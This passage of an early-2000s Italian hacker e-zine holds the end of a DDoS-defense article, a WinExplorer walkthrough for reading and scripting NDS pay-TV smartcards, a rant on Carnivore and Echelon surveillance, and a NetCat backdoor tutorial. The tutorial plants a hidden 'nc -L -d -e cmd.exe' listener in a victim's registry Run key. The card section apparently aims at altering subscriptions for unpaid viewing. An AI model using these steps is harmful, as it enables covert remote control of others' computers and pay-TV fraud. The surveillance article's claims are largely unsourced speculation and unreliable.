sull'identificazione del mittente di ogni pacchetto e se questo da una parte consente garanzie di anonimato, dall'altra può essere sfruttato con apposite tecniche per far credere che il pacchetto provenga da sistemi defferenti da quello effettivo. Queste limitazioni saranno in parte superate dalla prossima adozione di IPv6. Ad oggi non esiste una soluzione unica al problema ma esistono molti modi per tutelarsi. Eccone alcuni elencati: Network Incoming Filtering - - - - - - - - - - - - - - Tutti gli ISP dovrebbero implementare dei filtri in ingresso sui propri router e firewall in modo da bloccare i pacchetti che contengono informazioni alterate sulla loro provenienza (in gergo SPOOFED). Anche se questo accorgimento non impedisce il verificarsi di un attacco, consente di ricostruire la provenienza dei pacchetti in maniera più semplice e veloce. Limit Network Traffic - - - - - - - - - - - La maggior parte dei router consente oggi di limitare la quantità di banda usata da un particolare servizio. Questa capacità è spesso definita come traffic shaping o Quality of Service (QoS) ed è implementabile anche utilizzando una piccola macchina Linux come gateway. La Cisco chiama questa capacità Command Access Rate (CAR). Sfruttando questa caratteristica, per esempio, è possibile configurare i propri sistemi in modo da fornire più banda ai servizi web a discapito di altri servizi (per esempio ftp). Com'è facilmente intuibile, se l'attacco usa pacchetti ICMP o pacchetti TCP SYN è possibile configurare i sistemi im modo da limitare la banda utilizzabile da questi pacchetti. Intrusion Detection Systems e Host Auditing Tools - - - - - - - - - - - - - - - - - - - - - - - - - E' possibile utilizzare un Intrusion Detection System o un tool di auditing per identificare malintenzionati mentre cercano di comunicare con il loro sistema slave, master o agent. Ciò consente di sapere se alcune macchine all'interno della propria rete sono utilizzate per lanciare un genere di attacco conosciuto ma non sempre sono in grado di identificare nuove varianti o prodotti nuovi. L'FBI fornisce gratuitamente un prodotto chiamato "find_ddos" che cerca all'interno del filesystem prodotti di DDoS quali Trinoo, TNF, TNF2K e Stacheldraht. Il prodotto è disponibile solo in formato binario sia per Solaris (Spar e Intel) che per Linux (Intel). Network Auditing Tools - - - - - - - - - - - - Sono numerosi i programmi che consentono l'analisi di una intera rete aziendale per verificare la presenza di agenti per DDoS. Dave Dittrich, Marcus Ranum e altri esperti hanno sviluppato un prodotto di cui rilasciano anche i sorgenti denominato dds. fastfire **** BUONE FESTE A TUTTI!!! **** ----------------------------------*END*---------------------------------------- -------------------------------------[22]-------------------------------------- ---------------------[Come leggere e programmare le CARD *ND]------------------ -----------------------------------[dpmika]------------------------------------ Prima di tutto saluto la crew Noflyzone! e un granzie a []LoRd[V]icio[] e Crashes Come leggere e programmare,Le CARD ND* Allora tanto per cominciare, DOVETE AVERE un regolare contratto con la casa che trasmette questo sistema di codifica N.D.*. Ora dovete costruirvi o acquistare "non so dove" un programmatore di card iso 7816/. (Per intenderci Phoenix o Smarthmouse 3,5/6 MHZ. Dopo di chè, scaricateVi il programma "WinExplorer 4.4 (ultima versione)" Dovete ancora scaricarVi i 2 script, (.xpl) Dal nome leggi ND*.xpl e PP* ND*.xpl Ora potete cominciare. --------------------------------NDS system -------------------------------------- Allora, Prima di tutto settate il vostro programmatore a 3,5 MHZ in modalita' phoenix se non sbaglio :-) ora lanciate il programma WinExplorer 4.4 e,andate subito a settare il programma in modo che i file da voi di seguito lanciati non abbiano problemi del tipo TIMEOUT FROM 2A COMMAND o altro. ----------------------------I settaggi di WinExplorer --------------------------- Una volta lanciato il prog. andate sotto la voce "CONFIGURE" poi al sottomenu PROGRAM PARAMETERS e cliccateci sopra. Ora, vi apparira' di default la finestra dei settaggi (Communication) Inserite la com. (porta di comunicazione) Da Voi usata es: (1) Sulla voce DATA BAUD inserite come velocita' (38400) Invece sulla voce RESET BAUD inserite (9600) Il resto rimane com' era dall'inizio che avete lanciato il programma. Ovvero PARITY (odd) L' unica cosa dovete selezionare sotto la voce Byte Convention (INVERSE) Mi raccomando non mettete l'opzione FLUSH RECEIVE BUFFER BEFORE WRITES. Ora potete anche cliccare so OK e, tanto per vedere se la vostra carta risponde giusto andate avanti in questo modo: Sulla barra dei menu vedrete una cartella aperta (icona N°4) cliccate e aprite il vostro script es: (leggi nd*.xpl) Vedrete il contenuto del file sulla vostra destra. Una volta aperto il file tornate sulla barra dei menu e cliccate sull' icona che raffigura una lente (Analyze a card ATR) Otterrete quasi sicuramente questa risposta. Trying to reset card... Reset Successful ATR: 3F 7F 13 25 02 40 B0 0C 69 FF 4A 50 C0 00 00 52 53 00 00 00 Convention: INVERSE Protocol: T=0 TA1 = 13 TB1 = 25 TC1 = 02 Historical Bytes: 40 B0 0C 69 FF 4A 50 C0 00 00 52 53 00 00 00 ----------------------------------------Esempio lettura-------------------------------- Programming Voltage = 5.0 volts Programming Current = 50ma Maximum Clock Frequency = 5.0MHz Assuming a 3.579MHz clock: Work ETU = 0.0000259849 seconds Guard Time = 0.0003637887 seconds Baud Rate After Reset = 38484 Potete quindi lanciare lo script cliccando sull' icona N° 7 raffigurante una mano che tiene un foglio (RUN SCRIPT FILE) Dovreste avere una risposta simile ma non uguale a questa: Getting Cam ID for Log File Logging to file c:\windows\xxxxxxx\winexplorer\xxxx.log Executing Script: C:\WINDOWS\xxxxxxx\winexplorer\xxxxxx.xpl Trying to reset card... Reset Successful RX ATR : 3F 7F 13 25 02 40 B0 0C 69 FF 4A 50 C0 00 00 52 53 00 00 00 TX Data : 48 2A 01 23 45 RX Data : xx RX Data : xx RX Data : xx RX Data : xx RX Data : xx RX Data : 00 00 xx xx RX Data : xx xx xx xx RX Data : xx xx xx xx RX Data : xx xx xx xx RX Data : 00 00 xx xx RX Data : xx xx xx xx RX Data : 00 00 xx 00 RX Data : xx xx xx 00 RX Data : 00 00 00 00 RX Data : 00 00 00 00 RX Data : 08 00 00 00 RX Data : 00 00 00 00 RX Data : 00 00 xx xx RX Data : xx xx xx RX Data : 00 00 00 00 xx 00 00 00 RX Data : 00 00 xx xx xx xx xx xx RX Data : xx xx xx 00 xx xx xx 00 RX Data : xx xx xx 00 xx xx xx 00 RX Data : xx xx xx 00 xx xx xx 00 RX Data : xx xx xx 00 xx xx xx 00 RX Data : xx xx xx 00 xx xx xx 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 xx xx xx RX Data : 00 xx xx xx 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : 00 00 00 00 00 00 00 00 RX Data : xx 00 Script C:\WINDOWS\xxxxxxx\winexplorer\xxxxxx.xpl Transmission Completed The Update Status Word is at 0 (Decimal) The Fuse Byte is at 1 (Decimal) Ora Potete ache vedere i dati interni riguardo le date gli usw e i tier expire. Andate sull' icona N° 9 (Read DS* card) cliccate sulla macchina fotografica. Dovreste avere una risposta simile ma non uguale a questa: Trying to reset card... Reset Successful RX ATR : 3F 7F 13 25 02 40 B0 0C 69 FF 4A 50 C0 00 00 52 53 00 00 00 Card Information Hex Decimal --------------------------------------------------- Card ID xxxxxxxx xxxxxxxx IRD Number xxxxxxxx xxxxxxxx USW xxxx 18672 Fuse/Guide xxxxxx 00 255 Time Zone xx ??? Rating xx All Locked Spending Limit xxxx $135.42 --------------------------------------------------- Channel Tier Expires --------------------------------------------------- 1. xx xx Jan 1992 Day xx (M=xx, D=xx) 2. xx xx Jan 1992 Day xx (M=xx, D=xx) 3. xx xx Feb 1992 Day xx (M=xx, D=xx) 4. xx xx Jan 1993 Day xx (M=xx, D=xx) 5. xx xx Jun 1992 Day xx (M=xx, D=xx) 6. xx xx Jan 1992 Day xx (M=xx, D=xx) 7. xx xx Apr 2013 Day xx (M=xx, D=xx) 8. xx xx Jan 1992 Day xx (M=xx, D=xx) 9. xx xx Apr 2013 Day xx (M=xx, D=xx) 10. xx xx Jan 1992 Day xx (M=xx, D=xx) 11. xx xx Jan 1992 Day xx (M=xx, D=xx) 12. xx xx Sept 1992 Day xx (M=xx, D=xx) --------------------------------------------------- Broadcaster Purchases Purchase Limit --------------------------------------------------- DirectTV $0.00 $ 0.00 USSB $0.00 $ 0.00 --------------------------------------------------- Questo è il log della vostra carta con REGOLARE ABBONAMENTO. Se ora Volete provare ad ...... la PP* non dovete far altro che cliccare sulla famosa cartella di prima "una cartella aperta icona N°4" (OPEN SCRIPT FILE.) Apriteil file es: (PP*nd*.xpl) Noterete l'interno del file sulla vostra destra come per l'altro. Potete quindi lanciare lo script cliccando sull' icona N° 7 raffigurante una mano che tiene un foglio (RUN SCRIPT FILE) -----ORA MI SPIACE MA NON POSSO SCRIVERVI TUTTO IL CONTENUTO IN RISPOSTA ALLA CARTA POICHE' SAREBBE TROPPO LUNGO.... ---- Bene OK!!!!!!Non vi resta ora di fare un LOG della Vostra carta per vedere se è stato modificato qualcosa ma io proverei ad infilarla nel decoder quindi,potete anche ritenervi contenti e """BRAVI""". dpmika dpmika dpmima dpmika dpmika dpmika dpmikma dpmika dpmika dpmika dpmika dpmika dpmika un saluto va di nuovo alla mia crew noflyzone e a vicio84 -------------------------------------[23]-------------------------------------- --------------------------------[Privaci OnLine]------------------------------- ----------------------------------[ [D]kl ]------------------------------------ Privacy On Line... GBA - God Bless America! Avrete notato fin da subito che dall'11 settembre molte cose son cambiate anche su internet... se prima solo parte del traffico era monitorato dai nostri beneamati amici a stelle e strisce han cominciato a chiudere siti inneggianti all'odio ovviamente non americano nei confronti di bin laden ma l'esatto contrario... (GBA) -1- A che serve? Allora direte voi... ma agli americani cazzo frega loro cosa facciamo noi? bella domanda! semplicemente sondano la rete e usano a loro vantaggio.. o meglio a vantaggio del paese (dell' economia del paese) le informazioni che riescono a catturare.. Esempi? tutte le gare di appalto.. i segreti strategici delle case europee a vantaggio delle già strapotenti case americane mi ricordo per esempio di un appalto fregato dalla Boeing per comprare la maggioranza della società che detiene il brevetto dei concorde.. semplicemente sanno l'offerta fatta dal concor- rente e ne propongono una più vantaggiosa... -2- Come fanno? Semplicemente software... Carnivore, Echeleon e similars sniffano ormai dall'11 settembre senza controllo molto del traffico che passa per le maggiori dorsali, captando informazioni di tutti i generi.. dalle password, carte di credito, informazioni sensibili, nonchè le strapagate "preferenze dei navigatori" tutte belle messe in database a disposizione delle aziende che vogliono pagare per usufruire di queste informazioni; -3- Carnivore Carnivore successore del già vecchio Omnivore è uno strumento usato dall'FBI per captare tutte le comunicazioni, su quasiasi protocollo, viene usato impostando filtri e seleziona qualsiasi informazione sia essa spedita via mail, via http, via chat e soprattutto via Irc, e istant messenger anche con protocolli proprietari. (I miei commenti personali alla fine) In teoria dovrebbe essere usato solo ed esclusivamente su autorizzazione di qualcuno di potente al dipartimento della giustizia americano.. per un periodo limitato di 40gg questo prima dell'11 settembre poi... 24/24h attivo presso le sedi di AOL e BT(l'unica che l'ha dichiarato).. Bellino fino a qua non vi pare? è inquietante il fatto che sniffi qualsiasi comunicazione e sopratutto da precedenza alle comunicazioni criptate che praticamente in europa sono assenti. Dominio:USA Raggio:Tutto il WWW, reti private, network satellitari, gsm Particolarità: Copia invisibile dei dati passanti per le dorsali -4- Echeleon Echeleon è meno potente un carnivoretto all'europea studiato anche esso per lo sniffing su qualsiasi protocollo con un piccolo dettaglio non trascurabile... Echeleon è attivo sicuramente anche in Italia lo stesso SiSde ne è a conoscenza ma ovviamente non può parlare sennò son bastonate governative! Dominio:Usa, Uk, Canada, Nuova Zelanda, Australia Raggio:Tutto il WWW, reti private, network satellitari, gsm Particolarità: Sniffing avanzato e connessione tramite reti isolate dal www e a su linea dedicata. -5- E la cara vecchia Russia? Anche la russia sniffa... ma è ovvio dopo che si vede lo strapotere americano che vuoi che faccia stia a guardare? ennò alla fine sempre Russia è! Ora c'è da scegliere... meglio essere sniffati dalla Russia o dagli Stati Uniti? Anche noi sniffiamo siii droghe di vario tipo magari! Italia povera Italia.. indietro tutta! :\ -6- End User Ovviamente non è un software ma è la nostra condizione ;) Zitto e naviga sembra il motto corrente, internet è vero è stata creata dagli americani.. ma se la usano per controllarci dite che il gioco vale la candela? certo che si se ci limitiamo a scaricare mp3... ma quando cominciamo ad entrare in sitelli non tanto permessi.. in maniera non del tutto convenzionali lo sgamo è assicurato! -7- Legge privacy... Allora... un certo D'Alema.. un po' di tempo fa ci ha fatto il culo nero con questa legge... migliaia di moduli da completare con la scritta "accetto", l'unione europea lo stesso... ma alla fin fine a che cazzo è servito? Pensa pensa... a niente :| zero assoluto ce sniffano e strasniffano con più gusto ora! -8- Sniff it.. Dai sniffiamo anche noi... o semplicemente.. casualmente... inciampiamo nelle source del Carnivore.. e poi vedete quanto poco ci mettono a cambiare i sistemi, il potere è tale quand'è di pochi. -[D]kl- -------------------------------------*END*------------------------------------- -------------------------------------[24]-------------------------------------- -----------------------------[Backdoor con NetCat]----------------------------- ------------------------------------[n3o]-------------------------------------- #! #Autore: n3o oppure neo bho!!! #Materiale utilizzato: Un computer, un sistema operativo indovinate? :) sarà mai Linix # e un editor di testi. # #Titolo: Come creare una backdoor con il nostro programma preferito NetCat!!! # #Ringraziamenti: LordVicio per avermi iscritto nella lista dei sop del chan di irc [H]acking, #al mitico CityHunter per avermi fatto scrivere questo articolo ma sopratutto un grazie ai miei amici Genocide(mitico:), EniGmA, Psicho79 e alla crew NoFlyZone. # #Un va fanculo: A tutti i prof. dell' itis Galileo Ferraris specialmente al prof. di elettronica e al preside coglione. -._.-._.-.-._.-._.-.-._.-._.-.-._.-._.-.-._.- Prima di cominciare l'articolo vorrei scusarmi con CityHunter perchè gli avevo detto che scrivevo un articolo sull' hacking telefonico più precisamente sul programma Toneloc, ho cambiato idea, penso che questo articolo sia più impotante. Cmq prima o poi lo farò l' articolo sul hacking telefonico più poi forse :). Allora torniamo a noi, penso che tutti conoscono netcat o no? No??? Allora adesso ve lo spiego. NetCat è un software creato da Hobbit,questo programma ha numerose funzionalità anche se quasi sempre viene utilizzato per la scansione di porte TCP e UDP. Adesso però vediamo come far diventare il nostro NC in uno strumento di controllo remoto molto pericoloso. Per prima cosa ci serve il software NetCat o NC (che è la stessa cosa:) che potete trovare in qualsiasi sito hackers (il programma esiste in due versioni unix e windozZ) poi mettiamo il nostro programma nel registro di configurazione di windozZ impostato per caricare il NetCat all'avvio cioè PCvittima\HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\Windows\CurrentVersion\Run creando una chiave con il nome che volete, e che richiami però il NC con questi parametri: "C:\la directoty dove avete messo Netcat\nc -L -d -e cmd.exe -p 1214". Adesso vi spiego i parametri e cosa fa il programma. -L mantiene la sessione anche in caso di interruzione della connessione. -d modalità di NetCat invisibile. -e questo parametro serve a specificare il programma da eseguire. -p porta in ascolto. Il programma con questa configurazione rimane in ascolto anche in caso di riavvio del computer grazie all' impostazione nel registo e in caso di interruzione della connessione. Adesso possiamo collegarci con NetCat al computer della vittima utilizzando la porta 1214,che in questo caso ci da come risposta la command, ma sopratutto non dobbiamo riprogrammare nessun sorgente per cambiare la porta di accesso oppure il programma da eseguire. P.S Non fate i lamer se non conoscete NetCat non utilizzate subito questo esempio ma imparate prima ad utilizzare il programma. ------------------------------------*END*-------------------------------------- -------------------------------------[25]-------------------------------------- -------------------------------[NoFlyZone Staff]------------------------------- ----------------------------------[Greetings]---------------------------------- Uff...e anche il secondo è andato!:-D Beh...direi che siamo abbastanza migliorati sia come quantità che come qualità degli articoli,vi pare? Certo, c'è ancora molto da fare, ma piano piano stiamo crescendo! Ed è questo che dobbiamo continuare a fare: crescere! Più che un greetings questo è un incitamento sia a quelli della crew sia a coloro che si sentono in grado di fare un articolo! I Greetings verranno fatti a tutti quelli che ci daranno una mano, vuoi in termini di tutz vuoi in consigli, correzioni(ce ne saranno sempre da fare!) e critiche! Per ora non possiamo far altro che ringraziare tutti quelli che si sono presentati in chat chiedendo di entrare nella crew! Fa molto piacere ricevere queste richieste come fa molto male dire di no a volte! Non lo facciamo x cattiveria, ma solo perchè crediamo occorra una qualche conoscenza prima di entrare o collaborare! Quindi vi aspettiamo sempre numerosi, ma preparati! Vi invito quindi a venirci a trovare in chat o a scrivere a Vicio! Ci piacerebbe gestire anche un angolo della posta...quindi mi raccomando, scrivete! Al solito...lama,31337 join /dev/null;-) Incito cmq tutti quelli che si sentono pronti a scriverci un tut, lo pubblicheremo nel sito della crew e nei prossimi numeri della zine! Ci conto!! Ora stakko e vado a fare la pappa! <<<<<<<<<>>>>>>>>>>>>>> CityHunter *NoFlyZone Staff* www.noflyzone-crew.cjb.net IRC: irc.azzurra.it port: 6667 chan: #noflyzone arkshrine.serverirc.com port: 6667 chan: #noflyzone ------------------------------------*END*-------------------------------------- Mode E-Zine off...See ya!